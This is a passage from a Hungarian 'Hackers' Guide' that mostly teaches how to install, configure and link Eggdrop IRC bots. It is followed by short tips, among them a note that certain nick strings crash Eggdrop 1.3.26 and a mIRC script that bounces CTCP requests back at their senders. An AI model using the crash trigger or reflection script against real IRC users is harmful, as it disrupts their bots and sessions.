elfogadott legyen. Általános duma, csak akkor vam szükséged botra EFneten, ha a csatid állandóan a felhasználók rendelkezésére áll (24 óra egy nap) és nincs bot. Ha a csatidon már van egy pár bot, akkor valószínûleg nincs szükséged többre. A legtöbb bot nem csinál sok jót, és csak elpazarolja a sávszélességet. Underneten valószínûleg soha nem lesz szükséged egynél több botra egy csatin. Szintén megjegyzés, hogy általában nem elfogadható a botot arra használni, hogy "tartsa nyitva a csatit", ha nincs használatban. Viszont különbségek vannak nettõl netig és servertõl serverig, hogy hogyan ellenõrzik mielõtt elindul. Többszörös botokra van szükséged, ha igazán nagy csatit akarsz. A botok NEM nyújtanak tökéletes biztonságot. Semmi sem. A bot megpróbálja ezt keményen csinálni, de nincs rá semmi garancia.

182

Hackers’ Guide

--[ Hol férhetek hozzá? ]--

Eggdropot letölthetsz különbözõ oldalakról az egész világon. Itt van egy pár: A hivatalos eggdrop FTP cím: ftp.eggheads.org. Aktuális mirrorok: ftp.de.eggheads.org ftp.fr.eggheads.org Szintén ajánlom az ftp.apolloweb.net címet (Könyvtár: /pub/files/), mert rendkívül gyors. (Néha amikor letöltessz egy Eggdropot a shellrõl, ezt a címet használva elérheted a 100K-170K/sec sebességet, mert a shell elérések meglehetõsen gyorsak) Nos itt van a 3 fõbb Eggdrop verzió: 1.1.5, 1.3.X, 2.0 Mindenek elõtt a 2.0 egy SZÍVÁS. Hiányzik belõle egy pár help/text file, az összeállítása elég nehéz és semmiben nem különbözik az 1.3.x-tõl. Az Eggdrop 1.1.5 igényli az állandóságot, de a legtöbb TCL script (lásd feljebb) 1.3.x-hez van, ezért ajánlom, hogy 1.3.x-et használj. AZ összes információ ebben a leírásban mostantól Eggdrop 1.3.x-re vonatkozik.

--[ Hogyan állítsam be a botot? ]--

Ok... Mindenekelõtt lépj be és töltsd le az Eggdropot FTP-t használva. (Fel is töltheted FTP-t használva, de a letöltés shellen keresztül általában sokkal gyorsabb) Most írd be ezeket a parancsokat: gzip -d eggdrop 1.3.28.tar.gz vagy gunzip eggdrop1.3.28.tar.gz tar -xf eggdrop1.3.28.tar cd eggdrop1.3.28 ./configure Ok Az eggdrop1.3.28 utal a bot file-névre. Ez függ az oldaltól és az Eggdrop verziótól, amit letöltöttél. Ez lehet pl.: eggdrop1.3.23.tgz Akkor ezt kell beírnod: gunzip eggdrop1.3.23.tgz tar xf eggdrop1.3.23.tar cd eggdrop1.3.23 ./configure Miután beírtad a ./configure-t várnod kell. Ez ellenõrzi, hogy vajon futtathatsz-e botot ezen a rendszeren, vagy nem. Ha befejezi hiba nélkül be kell irnod: make Ez felépíti az Eggdrop csomagot. Ha befejezõdik hiba nélkül, elkezdheted felépíteni a config file-t.

183

Hackers’ Guide

/Egy kis megjegyzés, ha úgy akarod az Eggdropot beállítani, hogy egy külön könyvtárba kerüljön, mert te mondjuk nem akarsz ezer Eggdrop könyvtárat. Akkor nem kell mást tenned, mint beírni: make install DEST=abotodneve Így abba a könyvtárba kerül, ami a botod neve, így könnyû õket megkülönböztetni. Próbáld ki. - Scalpal/ A config file sorokból áll, amiben meghatározhatod a bot nevét, serverét és így tovább. Itt egy példa egy config file-ra. Csak ki kell másolnod mindent a '### Start ###'-tól a '### Vége ###'-ig egy file-ba, amit fel kell töltened egy file-névvel, pl.: bot.conf vagy eggie.conf vagy amit akarsz :-). /Megjegyzés: Ha az eredeti config file-t akarod átírni, akkor ügyelj arra, hogy a DIE sort töröld ki belõle!!!!!!! - Scalpal/ ################# Szerkeszd innen ################# # Bot's IDENT set username "Bot" # Bot's Owner(s)/Master(s) set admin "Scalpal <E-mail: [email protected]>" # Bot's IRC network set network "IRCNet" # The telnet port that the bot will open for incoming connections listen 2000 all # Bot's Owner(s)/Master(s) set owner "Scalpal" # Bot's NickName set nick "Bot" # Bot's Alternative nickname set altnick "AltBot" # Bot's Real Name set realname "/msg Bot hello" # The bot static channel. you can only specify 1 channel here. set confchan "#Eurohack" # The bot IRC servers set servers { irc.elte.hu:6668 irc.sote.hu:6668 irc.funet.fi:6668 irc.stealth.net:6668 } ################################### !!! Innentõl kezdve nincs szükséged változtatásra !!! ###################################

184

Hackers’ Guide

set timezone "GMT+1" set max-logs 5 set log-time 1 set keep-all-logs 0 set console "mkcobxs" logfile mkco * "$nick.log" set userfile "$nick.user" set sort-users 0 set help-path "help/" set temp-path "/tmp/" set motd "motd" set protect-telnet 0 set dcc-sanitycheck 0 set ident-timeout 30 set require-p 1 set open-telnets 0 set connect-timeout 15 set dcc-flood-thr 3 set telnet-flood 5:5 set resolve-timeout 15 set ignore-time 15 set debug-output 0 set hourly-updates 00 set notify-newusers "HQ" set default-flags "fv" set whois-fields "A #Eurohack csati botja" set remote-boots 2 set share-unlinks 1 set die-on-sighup 0 set die-on-sigterm 0 #unbind dcc n tcl *dcc:tcl #unbind dcc n set *dcc:set unbind dcc n simul *dcc:simul set max-dcc 50 set enable-simul 1 set allow-dk-cmds 1 set mod-path "./" loadmodule channels set chanfile "$nick.chan" set ban-time 10 channel add $confchan { chanmode "+nt" idle-kick 0 flood-chan 4:6 } channel set $confchan -clearbans -enforcebans +dynamicbans +userbans -autoop -bitch -greet +protectops -statuslog -stopnethack -revenge +autovoice -secret -shared -cycle set share-greet 0

185

Hackers’ Guide

set use-info 1 loadmodule server set keep-nick 1 set strict-host 0 set quiet-reject 1 set lowercase-ctcp 0 set answer-ctcp 3 set flood-msg 5:5 set flood-ctcp 3:5 set never-give-up 1 set strict-servernames 0 set default-port 6667 set server-cycle-wait 60 set server-timeout 15 set servlimit 0 set check-stoned 1 set use-console-r 0 set serverror-quit 1 set max-queue-msg 300 set trigger-on-ignore 0 set use-silence 0 set handle-mode_r 0 loadmodule ctcp loadmodule irc set bounce-bans 0 set allow_desync 1 set kick-method 1 set kick-bogus 1 set learn-users 1 set wait-split 300 set wait-info 180 set modes-per-line 3 set mode-buf-length 200 set use-354 0 #unbind msg - ident *msg:ident set no-chanrec-info 0 loadmodule transfer set max-dloads 3 set dcc-block 0 set copy-to-tmp 1 set xfer-timeout 300 loadmodule share set resync-time 900 #set private-owner 0 #set private-global 0 #set private-globals "mnot" #set private-user 0 #loadmodule filesys set files-path "/home/mydir/filesys"

186

Hackers’ Guide

set incoming-path "/home/mydir/filesys/incoming" set upload-to-pwd 0 set filedb-path "" set max-file-users 20 set max-filesize 1024 loadmodule notes set max-notes 50 set note-life 60 set allow-fwd 0 set notify-users 1 set console-autosave 1 set force-channel 0 set info-party 0 loadmodule seen checkmodule blowfish #loadmodule assoc source scripts/alltools.tcl source scripts/action.fix.tcl source scripts/userinfo1.0.tcl loadhelp userinfo.help ################ Vége ################ OK! A szerkesztés után, töltsd fel a config file-t. A config file-nak a bot könyvtárában KELL lennie (pl.: ./eggdrop1.3.28/) Mostmár futtatnod kell. Mivel elõször futtatod be kell írnod a bot könyvtárában, hogy: ./eggdrop -m bot.conf Ahol a bot.conf a te config file-od. Megjegyzés: Ha következõ alkalommal indítod a botot, (mert pl.: leállt a server) nincs szükséged a "-m"-re. Most indíts egy IRC klienst csatlakozz a bot IRC serveréhez, csatlakozz a csatihoz, ahová fel fog jönni a bot, és várd meg míg feljön. Amikor meglátod a botot írj neki üzenetet a "hello"-val (/msg botneve hello. A botneve helyére értelemszerûen a bot nevét kell írnod. /Megjegyzés: aki elõször hellózza be, az lesz az ownere, ha nem te hellózod be elõször, akkor obi van kenobi, mert nem te leszel az owner! - Scalpal/ Azután a bot megkér, hogy állítsd be a jelszavad, ezt meg tudod csinálni, ha üzensz neki: "pass jelszavad"-ot (/msg botneve pass jelszavad). A jelszavad szót értelemszerûen helyettesítsd a saját jelszavaddal, amit akarsz, ha jelszavad IRC, akkor így csináld: /msg botneve pass IRC.

--[ Alap parancsok ]--

187

Hackers’ Guide

A legtöbb parancs DCC Chat-en keresztül megy. Elõször is DCC Chatet kell felvenned a bottal, utána beírnod a jelszavad, mivel kérni fogja, ezután már küldözgetheted neki a parancsokat. /Megjegyzés: Ha esetleg nem kéri a jelszavad, akkor valószínûleg nem ismeri a hostodat, ez azért lehet, mert esetleg nem onnan léptél fel IRC-re, ahonnan behellóztad, vagy az IDENT-edet megváltoztattad. - Scalpal/ A DCC Chat-en a parancsoknak "."-al (ponttal) kell kezdõdnie. /Megjegyzés: Ha nem "."-al kezded a parancsot, akkor az a PartyLine-on fog megjelenni és ez elég cikis lehet számodra, fõleg, ha pl.: a jelszavadat akarod megváltoztatni :). - Scalpal/ Megjegyzés I.: Pár parancs különbözõ hozzáférési szintet követel. Elmagyarázom õket késõbb. Megjegyzés II.: Ha "Unknown Command" üzenetet kaptál, akkor az valószínûleg azt jelenti, hogy a hozzáférési szinted elég alacsony. A paraméter a <> között nem egy opció, a [] között az opció! .help [parancs] - Megmutatja a helpet abban a témában. Pl: .help help .bots - Megmutatja a csatlakoztatott botok listáját. (Az Eggdrop tud más botokhoz csatlakozni. Ezt szintén megbeszéljük késõbb.) .status - Megmutat pár állapot dolgot a botról. .whois <nick> - Infót kapsz <nick>-rõl. Pl.: .whois ^TCG^ .jump <server> - A bot csatlakozik a megadott serverhez. Pl: .jump irc.elte.hu .+user <nick> <hostmask> - Hozzáad egy felhasználót a bothoz a megadott hosttal. Pl.: .+user ^TCG^ ^TCG^!talrun@*.il .-user <nick> - Kitörli a felhasználót a botból. Pl: .-user ^TCG^ .+host <nick> <hostmask> - Add egy új <hostmask>-ot a <nick>-hez. Pl: .+host ^TCG^ *!*@*.israel.net .-host <nick> <hostmask> - Leszedi a <hostmask>-ot <nick>-tõl. Pl: .-host ^TCG^ *!*@*.israel.net .+chan <#Csati> - Csatlakoztatod a botot a <#Csati>-hoz. Pl.: .+chan #Eurohack .-chan <#Csati> - Leszedi a botot a <#Csati>-ról. Pl: .-chan #Eurohack .chanset <#Csati> <Beállítás> [Érték] - Egy sajátos tulajdonságot állít be a #Csati számára (Lásd késõbb). Pl: .chanset #Eurohack +autoop vagy pl. 2: .chanset #Eurohack flood-chan 5:60 .chattr <nick> <flagek> [#Csati] - Ad a <nick>nek global flageket (jogokat) <flagek> vagy csak [#Csati] flageket. Pl: .chattr ^TCG^ +o vagy Pl. 2: .chattr ^TCG^ +f #Eurohack .die [Indok] - Leállítja a botot Pl.: .die Beállítás folyik .save - Elmenti a bot beállításait (Ezt automatikusan elvégzi) .rehash - Kényszeríti a botot, hogy töltse újra a config file-t .reload - A csati file újratöltését okozza .restart - Újraindítja a botot .+bot <bot> <host:port> - Egy botot ad a bot adatbázishoz, hogy egy botnet hozzon létre (Lásd késõbb). Pl: .+bot Eggie the-shell.com:4556 .-bot <bot> - Kitörli a <bot>-ot az adatbázisból .botattr <bot> <flagek> - Ugyanaz, mint a .chattr csak botokhoz .link <bot> - A botod <bot>-hoz való kapcsolódását okozza .unlink <bot> - Megszünteti a botod kapcsolatát a <bot>-tal .chpass [nick] <jelszó> - Megváltoztatja a jelszavad vagy [nick] jelszavát, ha van jogod megváltoztatni mások jelszavát.

188

Hackers’ Guide

.nick <ujnick> - Megváltoztatja a nicked a partyline-on. (Lásd késõbb)

.op <nick> <#Csati> - Operátor jogot (@-ot) ad <nick>-nek a <#Csati>-n. Pl.: .op ^TCG^ #Eurohack .voice <nick> <#Csati> - VOICE-t (+v) ad <nick>-nek a <#Csati>-n. Pl.: .voice ^TCG^ #Eurohack Most ez az összes... Mégtöbb parancs a következõ pontokban (vagy az Eggdrop doksikban, akármelyiket olvashatod) Az Eggdrop másik szimpatikus vonása a Partyline. DCC Chaten engedélyez többszörös felhasználókat a botban, ezzel létrehozva egy kisebb IRC hálózatot. Ahhoz, hogy valamit mondjál, nem kell mást tenned, csak beírni a mondanivalód és ENTER-t ütni. Ez ne kezdõdjön "."-al, mert ez a Partyline-ra lesz mondva, amit a botok, és a bot felhasználók látni akarnak.

--[ Felhasználói cuccok ]--

Néha be akarsz állítani felhasználókat a botodba, ily módon jogot adva nekik. Leírom, hogy hogyan tudsz felhasználókat hozzáadni a botodhoz, és beállítani a jogaikat. Egy felhasználó hozzáadása: .+user <nick> <hostmask> <nick> - ez a felhasználó neve. Bármi lehet, amit õ akar, csak nem lehet hosszabb 9 karakternél. <hostmask> - az a host, amit a felhasználó használ, ezt fogja megjegyezni a bot. Mindíg tudsz hozzáadni es kitörölni hostokat a .+host és a .-host segítségével a partyline-on. Ezután be kell állítanod a felhasználó globális jogait. Ezt úgy éred el, hogy beírod: .chattr <nick> <flagek> A <nick> az amit beírtál a .+user után, a <flagek> pedig a felhasználó részére beállított flagek. Itt vannak a beállítható flagek: o globalis op (a bot opolja bármely csatin, amin fent van) m master (bot master) n owner (bot owner) t botnet master (botnet master) x xfer (file-részhez elérési jog) j janitor (file-rész master) p party-line (party-line hozzáférés) c common (a felhasználó rekord egy általános-hozzáférésû hely) [lásd '.help common'] u unshared (nem továbbít más share-botnak) b bot (a felhasználó egy másik bot) d global deop (soha nem kap opot) k global auto-kick (automatikus kick & ban) f global friend (barát) v global voice (automatikusan +v a +autovoice csatikon) a global auto-op (automatikusan kap opot, amikor belép a csatira) h high-light flag (látja a kiemelt szöveget)

189

Hackers’ Guide

(plusz 26 meghatározott flag, A-Z) Egyes csatikon a felhasználónak speciális rekordja van, amikor fellép, a speciális csati flagekkel és beállíthat egy "info line"-t. /Megjegyzés: Nem ajánlom senkinek a +a flaget, mert a hostot nézi, és sokan hasonló hostot használnak, esetleg csak az eleje különbözik. Pl.: a bot általában a *!*@*.dialin.datanet.hu hostot adja hozzá a felhasználóhoz, ezért az a baj, hogy aki a datanet hostról csatlakozik a csatira, akkor elképzelhetõ, hogy kap opot automatikusan. - Scalpal/ Speciális csati flagek: m master (master a csatin) n owner (owner a csatin) o op (a bot opolja) d deop (a bot nem engedi, hogy a csatin op legyen) f friend (barát, nem lesz büntetve, ha valami rossz dolgot csinál) k kick (automatikusan ki lesz rúgva) v global voice (automatikusan +v a +autovoice csatikon) q global quiet (soha nem kap +v-t a +autovoice csatikon) a global auto-op (automatikusan kap opot, amikor belép a csatira) (plusz 26 meghatározott flag, A-Z) Itt egy példa, ami megmutatja, hogy hogyan adj egy felhasználónak global op-ot és a csatira owner jogot. .+user ^TCG^ ^TCG^!*@*.co.il .chattr ^TCG^ +o .chattr ^TCG^ +n #Eurohack Ezután be kell állítani egy jelszót a felhasználónak. Õ is be tudja állítani magának, sõt így jobb is, szóval: /msg botneve pass kívántjelszó. /Megjegyzés: Valakit hozzáadni és törölni a felhasználói rekordból akkor tudsz, ha fent van a csatin, ha nincs akkor elég nehéz lesz, de ha neked sikerül, azonnal szólj nekem :)! - Scalpal/ Ezaz... hozzáadtad! Ha törölni akarod a felhasználót, akkor írd be: .-user <nick> és ezzel törölted is.

--[ Csati cuccok ]--

Ez a rész elmondja a csati dolgokat. Botot csatlakoztatni csatira úgy tudsz, ha DCC-n beírod neki: .+chan #Csati A botot leszedni csatiról így tudod: .-chan #Csati Valakit csati ownernek így tudsz beállítani: .chattr <nick> +n #Csati Ha csatiról akarsz összeszedni pár infót írd be: .chaninfo #Csati Be tudsz állítani különbözõ csati opciókat, mint pl.: max. üzenet per másodperc vagy

190

Hackers’ Guide

max. deop per másodperc. Beállítani valamit így tudsz: .chanset #Csati beállítás érték Rendelkezésre álló beállítások: flood-chan (szám:másodperc) hány üzenet a csatira hány másodpercen belül számít floodnak ne határozd meg vagy használd számnak a 0-át, hogy ne ellenõrizze a floodot! flood-ctcp (szám:másodperc) hány üzenet a csatira hány másodpercen belül számít floodnak ne határozd meg vagy használd számnak a 0-át, hogy ne ellenõrizze a ctcp floodot! flood-deop (szám:másodperc) hány deop hány másodpercen belül számít mass deopnak ne határozd meg vagy használd számnak a 0-át, hogy ne ellenõrizze a deop floodot! flood-kick (szám:másodperc) hány kick hány másodpercen belül számít mass kicknek ne határozd meg vagy használd számnak a 0-át, hogy ne ellenõrizze a mass kicket! flood-join (szám:másodperc) hány join hány másodpercen belül számít join floodnak ne határozd meg vagy használd számnak a 0-át, hogy ne ellenõrizze a join floodot! Az érték formátuma általában: hányszor:hány másodpercen belül. Például, ha te ki akarod rúgni azt, aki 3 felhasználót deopol 10 másodpercen belül, akkor állítsd be ezt: .chanset #Csati flood-deop 3:10 Be tudod állítani a csati opciókat így is: .chanset #Csati +/-opció Rendelkezésre álló opciók: clearbans kitörli az összes bant, amikor a bot csatlakozik a csatira enforcebans amikor egy ban be van állítva, kirúgja a felhasználót aki fent van a csatin és összehangolja az új bannal (pl.: fent voltak a csatin a ban elõtt) dynamicbans csak akkor aktiválja a bant a csatin, ha szükséges (ez megakadályozza, hogy a ban list túlságosan hosszú legyen. A bot emlékszik minden banra, de csak akkor aktiválja, ha valaki csatlakozik a csatira, aki benne van a ban listában.) userbans engedélyezi a ban beállítást közvetlen a felhasználóknak (ha ezt kikapcsolod, a bot igényli, hogy minden bant a konzolon keresztül állíts be.) autoop opolja a felhasználót, amikor csatlakozik a csatira (tipp: EZ EGY ROSSZ GONDOLAT) bitch csak a +o (op) flageseket engedi opnak a csatin greet kiírja a felhasználók info line-ját, amikor csatlakoznak protectops újra opolja a felhasználót, aki deopolva lett? statuslog

191

Hackers’ Guide

logolja a csati status line-jat minden 5 percben (pár ember azt gondolja, ez borzasztó) stopnethack deopolja azt, aki server oppal jön fel a csatira (pl.: netsplit), amikor nem volt opja split elõtt revenge emlékszik azokra, akik deopolták/kirúgták/bannolták a botot vagy egy létezõ opost és megbünteti õket a +f (barát) flagesekre a revenge nem hatásos autovoice +v (voice) flaget kapnak, akik csatlakoznak a csatira secret megakadályozza, hogy a csati benne legyen a botnet listában (paranoiás embereknek) shared share felhasználó csati info a csatira cycle ciklus a csatin, ha optalanná válik dontkickops nem rúgja ki a +o-val rendelkezõket például engedi nekik a kick-floodot seen válaszol a seen kérésekre a csatin (a seen modult be kell tölteni) Például: .chanset #Csati +autoop +autovoice

--[ Botok linkelése ]--

A botok csatlakozni tudnak egymáshoz, engedélyezik a csatlakoztatott botok felhasználóinak, hogy egy nagy partyline-on csevegjenek. Itt van, hogy hogy tudod csatlakoztatni: Elõszöris tudnod kell a hostjaikat és a portjaikat. A hostot meg tudod nézni a /whois-al, amíg fent van IRC-n. A telnet portot megkapod a .dccstat-al a botban. (Megjegyzés: Minden botnak más lehet a hostja és a portja) Itt egy példa, hogy mit kapsz a .dccstat beírása után: SOCK ADDR PORT NICK HOST TYPE ---- -------- ----- -------- ---------------- ---- 3 C7CB1589 2000 (telnet) * lstn 5 00000000 6667 (server) er.irc.israel.net serv (lag: 0) 7 C0725278 1469 ^TCG^ tadmin.israel.net chat flags: cPtEp/0

I. Használt szakszavak

A következõ szakszavak szerepelnek a doksiban. Botnet Botok egymással való kapcsolatát jelenti.

192

Hackers’ Guide

Link Egy másik bothoz csatlakoztathatod a botod parancsok: ".link <botneve>" ".unlink <botneve>" Hub Egy bot, mint hub-bot, ha egy vagy több leaf csatlakozik hozzá. Leaf Egy bot csatlakozását jelenti egy másik bothoz. Share Több bot megosztja a felhasználói rekordokat. Aggressive Share A user-file megosztás módszere. Aggressive share botok elküldik a felhasználói adatokat a másik botnak. Passive Share A user-file megosztás módszere. Passive share botok csak fogadják a felhasználói adatokat a másik bottól. Flagek A flagek tulajdonságok, amik meghatározzák, hogy egy bot mit csinál vagy mit engedélyez a felhasználóknak. A flagek globálisak (+s) vagy sajátos csati flagek (|+s #Eurohack). Botnet flagek: s share (a user rekordok megosztva lesznek - Aggressive Share) p share (a user rekordok megosztva lesznek - Passive Share) g global share (megoszt minden csatit) h hub (a bot auto-link-es) a alternate (a bot auto-link-es, ha a hub-bot nem tud csatlakozni) l leaf (a bot nem engedélyezi a kapcsolatot más botoknak) r reject (a bot soha nem engedélyezett a hálón) i isolate (elkülöníti a partyline-t a botlink-en keresztül) 0-9 user (meghatározott felhasználói flagek) parancs: ".botattr <botneve> [(.+<flag> [#csati]) vagy (.-<flag> [#csati])]" Address A fizikai cím, tartalmazza a bot hostját és a portját. pl.: lame.org:3333 parancs: ".chaddr <botneve> <host:botport[/userport]>" Relay A bot közvetítõ portjának a száma, ha meg van határozva a config file-ban. Megjegyzés: be tudsz állítani egyet a telnet kapcsolatoknak és egyet a közvetítõ kapcsolatoknak.

193

Hackers’ Guide

Relay connection Egy közvetítõ kapcsolat, ami közvetít a botok között DCC Chaten keresztül. Közvetíteni tudsz botok között, még akkor is, ha nincs meghatározva a config file-ban. parancs: ".relay <botneve>" Port A telnet port, amit a bot a másik bottal és/vagy felhasználókkal való kommunikációra használ. Megjegyzés: két különbözõ portot tudsz meghatározni a felhasználóknak és a botoknak.

II. Miért van a BotNet?

Alapvetõen szükséged van botnetre, ha több mint egy botot akarsz használni a csatid védelmére. A kapcsolt botok meg tudják osztani a felhasználó rekordokat egymás között néha scriptek segítségével. Egyes scriptek opolnak (opol egy másik botot a botneten) vagy megakadályozzák a floodot. Csak nézz el a /pub/eggdrop/scripts1.3 könyvtárba az ftp.eggheads.org címen, onnan egy csomó botnet scriptet tudsz letölteni.

III. Bot csatlakoztatás és hozzáadás

Mielõtt elkezded, tudnod kell a következõket: - Mi a bot hostja és a portja. Mondjuk legyen a BotA a lame.org-on és a 3333-as portra figyeljen. A BotB legyen az irc.org-on és a 4444-es portot figyelje. Most állítsd be a botokat a másik userfile-jába (hosttal, címmel, porttal). A BotA konzoljában írd be, hogy ".+bot BotB irc.org:4444" (feltéve, hogy BotB fent van a csatin és a hostját automatikusan felismeri, különben manuálisan kell hozzáadnod a ".+host"-al), a BotB konzoljában pedig ".+bot BotA lame.org:3333". Innentõl kezdve össze tudod õket kapcsolni, de az elsõ alkalommal manuálisan kell csinálnod. A BotB konzoljában írd be: ".link BotA" a BotA-nál természetesen az ellenkezõjét: ".link BotB". A botok találomra adnak egymásnak jelszót, ezek NEM lesznek kódoltan tárolva a userfile-ban. Most létrehoztad az elsõ BotNeted. :) Gratulálok! Megjegyzés: Olyan botot tudsz csatlakoztatni és hozzáadni a BotNetedhez, amilyet csak akarsz.

IV. BotFlagek használata

Botflagekre szükséged van a botod funkcióinak és feladatainak kijelölésére. "h" (hub) Ha azt akarod, hogy a bot automatikusan csatlakozzon, ha leszakad vagy újraindul (server leállásnak vagy újraindításnak köszönhetõen), be kell állítanod a "+h"-t azon a botom, amit csatlakoztatni akarsz egy másik bothoz.

194

Hackers’ Guide

Megjegyzés: egyszerre csak egynek tudod beállítani! parancs: ".botattr <botneve> +h" "a" (alternate) Ha a leafek valami oknál fogva nem tudnak csatlakozni a hub-bothoz, megpróbálnak csatlakozni egy "alternate-hub" bothoz, amit be tudsz állítani egy boton a "+a"-val. Megjegyzés: egyszerre csak egynek tudod beállítani! parancs: ".botattr <botneve> +a" "l" (leaf) Ez a flag megengedi egy másik botnak, hogy botod leválását okozza a másikról, ha az megpróbál csatlakozni más bothoz. parancs: ".botattr <botneve> +l" "r" (reject) Ha beállítod egy botnak, akkor az nem lesz elviselhetõ a botneten és leválik, ha az megpróbál csatlakozni a te botodhoz vagy másokhoz. parancs: ".botattr <botneve> +r" "i" (isolate) Ez a flag egy bot elkülönítését okozza a partyline és a botod/botneted vagy más botok/botnetek között. parancs: ".botattr <botneve> +i" "0-9" (user) Ez a 10 flag nincs lefoglalva az eggdropban, ki tudod osztani scripttel vagy csak a vicc kedvéért :-). parancs: ".botattr <botneve> +(0-9)" "s" (share aggressively) +s Ha BotA konzoljában beállítod a BotB +s-t, akkor a BotA megpróbálja mindenáron elküldeni a userfile-ját a BotB-nek (részek kijelölése a |s és g flagekkel) parancs: ".botattr <botneve> +s" |s Ezzel a flaggel tudod beállítani azt a csatit, amelyiket a bot megosszon. Megjegyzés: csak "+s" botokon tudod használni! parancs: ".botattr <botneve> |s #eurohack" |+s Engedélyezi a csati userfile-janak módosítását egy "+p" botnak. parancs: ".botattr <botneve> |+s #eurohack"

195

Hackers’ Guide

"p" (share passively) Ha ezt beállítod egy másik botnak, akkor a botod engedélyezi neki a userfile-ok módosítását (mintha a "|+s"-el vagy a +g-vel engedélyeznéd). parancs: ".botattr <botneve> +p" "g" (global share) Ha beállítod ezt a flaget a "+s" vagy a "+g" botodon, akkor a "|s" és a "|+s" flagek elavultak lesznek. Minden ban és minden felhasználó minden csatin átszáll a bothoz, ami fogadja azokat. parancs: ".botattr <botneve> +g"

V. Csinálj megosztott felhasználói rekordot

Mielõtt elkezded elõkészíteni a botod a megosztásra, gyõzõdj meg róla, hogy betöltötted a transfer, share és filesys modulokat a conf file-ban. Gondoskodj róla, hogy a csati, aminek a felhasználói rekordját meg akarod osztani, hogy "+shared" legyen a conf file-ban. Ha ezeket ellenõrizted, és minden rendben van, kezdheted a botod elõkészítését. Elõszöris döntsd el, hogy melyik bot lesz "share aggressively" (BotA) és melyik "share passively" (BotB). Ezeket a parancsokat írd be a botok konzoljába (Megjegyzés: ne cserélj botflaget a csatlakoztatott botnál, elöször csatlakoztasd le): BotA-n: .botattr BotB +s BotB-n: .botattr BotA +p Következõ, döntsd el, hogy BotA osszon meg minden csatit, vagy csak egyet BotB számára. Ha azt akarod, hogy ossza meg a felhasználói rekordot globálisan, akkor írd be következõket: BotA-n: .botattr BotA +g BotB-n: .botattr BotA +g Ha nem akarod megosztani az összes csatit, de a #eurohack-et meg akarod osztani, akkor írd a következõket: BotA-n: .botattr BotA |s #eurohack BotB-n: .botattr BotA |+s #eurohack Ugyanígy tudod beállítani a többi csatit is. Megjegyzés: ahogyan a felahsználói rekordokat tudod megosztani, ugyanúgy

196

Hackers’ Guide

oszthatod meg a bannokat, az ignore-okat más botoknak. A botflagek NEM megoszthatóak! Megjegyzés: Kiszedve az eggdrop 1.3.28 doksijából.

--[ Mi az a TCL és mit csinál a bottal? ]--

A TCL egy programnyelv, amivel a scripteket írjak a botokhoz. Ez a cím nagyon nagy fogalom, tudnék írni egy teljes doksit errõl, helyette csak az alapokat írom le. TCL script futtatásához be kell írnod a config file végére, hogy: source filenev.tcl TCL scripteket tudsz szerezni innen: www.egghelp.org, bseen.tclslave.net és xcalibre.net. A scriptek a botoknak mégtöbb funkciót adnak, mint pl.: kick hirdetés esetén.

--[ Tippek és trükkök ]--

Az eggdrop1.3.28 doksiból kiszedve. Pár kis trükk, amit tudhatsz vagy nem... * Le tudod "zárni" a felhasználó info line-ját, csak állítsd be elsõ karakternek a "@"-ot. Többé nem bírják megváltoztatni. * A ".status all" virtuálisan kizúdít mindent, amit beállítottál a botnál. * A TCL-nek van egy parancsa, ami kilistázza az eljárások tartalmát: "info body <eljárás>". Az "info args <eljárás>" kilistázza, hogy milyen paramétereket állítottál be az eljárásban. * Át tudod nevezni a beépített parancsokat, csak kösd át másra. A ".status" átnevezése ".report"-ra, csináld ezt: unbind dcc - status *dcc:status bind dcc m report *dcc:status Az elsõ sor eltávolítja a beépített megkötést a ".status"-ról, a második sor hozzáköti a ".report"-ot a beépített "status" funkcióhoz. Más beépített parancs a példákban: unbind msg - status *msg:status bind msg m report *msg:status és: unbind fil - share *fil:share bind fil m link *fil:share * Le tudod kapcsolni az összes botot és kitörölni a BotNet infót a memóriából, ha a ".unlink *"-ot használod. Ez kitörli az összes társított csatit és mindent. * Automatikusan készíthetsz "sticky ban"-t, csak az indok elsõ karakterének a "*"-ot

197

Hackers’ Guide

írd be. * Be tudsz állítani felhasználót statikus hosttal, amikor a nick elé beteszed a "!"-t. Például: [email protected] hostmaskja .adduser scalpal használva a *!ident@*.host.com host .adduser !scalpal használva a *[email protected] host

--[ Felhasznált irodalom ]--

Eggdrop1.3.28 doksik Saját ismeret

Az EggDrop IRC Bot / Írta: The Cyber God e-mail: [email protected] Verzió# 1.0 / My ICQ#: 7864557 ] Fordította: Scalpal (E-mail: [email protected]) ] ICQ UIN: 8071722 ************************************************************************************************ Eggdrop 1.3.26 bug

2-3 nick váltás után a bot kiesik, ha a nickek a következôek:

[][][][] {}{}{}{}

Video (Varga Gábor) [email protected] ************************************************************************************************ CTCP trükk

198

Hackers’ Guide

Az alábbi mirc script figyeli a ctcp kéréseket, és ha beérkezik egy pl: a ctcpuser nickrõl, akkor elküld egy ugyanolyan ctcp kérést ctcpusernek. Miután megérkezik ctcpuser válasza, egybõl postázza is vissza neki, így ctcpuser ugyanazt a választ kapja a ctcpjére, mintha saját magát ctcpzte volna meg. ctcp *:*: { haltdef echo ctcp from: $nick uzenet: $1- ctcp $nick $1- set % [ $+ [ ctcpreply ] $+ [ $nick ] ] 1 ignore -tu20 $wildsite ignore -tu10 *!*@* halt } on *:CTCPREPLY:*: { if ( [ %ctcpreply [ $+ [ $nick ] ] ] == 1 ) { ctcpreply $nick $1- echo reply: % [ $+ [ ctcpreply ] $+ [ $nick ] ] echo egyeb, nick: $nick , msg: $1- unset set % [ $+ [ ctcpreply ] $+ [ $nick ] ] } } bug: a mIRC mindenképpen visszaküldi a VERSION ctcpre a verziószámot, ezt kétféleképpen lehet kikerülni: - mirc32.exe átírása - saját magad socksként használod, és ezen kiszûröd az eredeti ctcp version reply-t.

greetz: Video

Sun-Zero [email protected] ************************************************************************************************ DCC gyorsítás

Gondolom gyakran panaszkodtok a mIRC-ben hogy lassú a DCC Send. Ezt a trükköt egy küldöfldi lapon találtam:

Írd be ha te kapod a file-t: /pdcc 9999999999

Tesztelésnél eloször 2.5 Kb/sec volt de miután a fogadó fél beÍrta 3.5-re nott.

Zucco

199

Hackers’ Guide

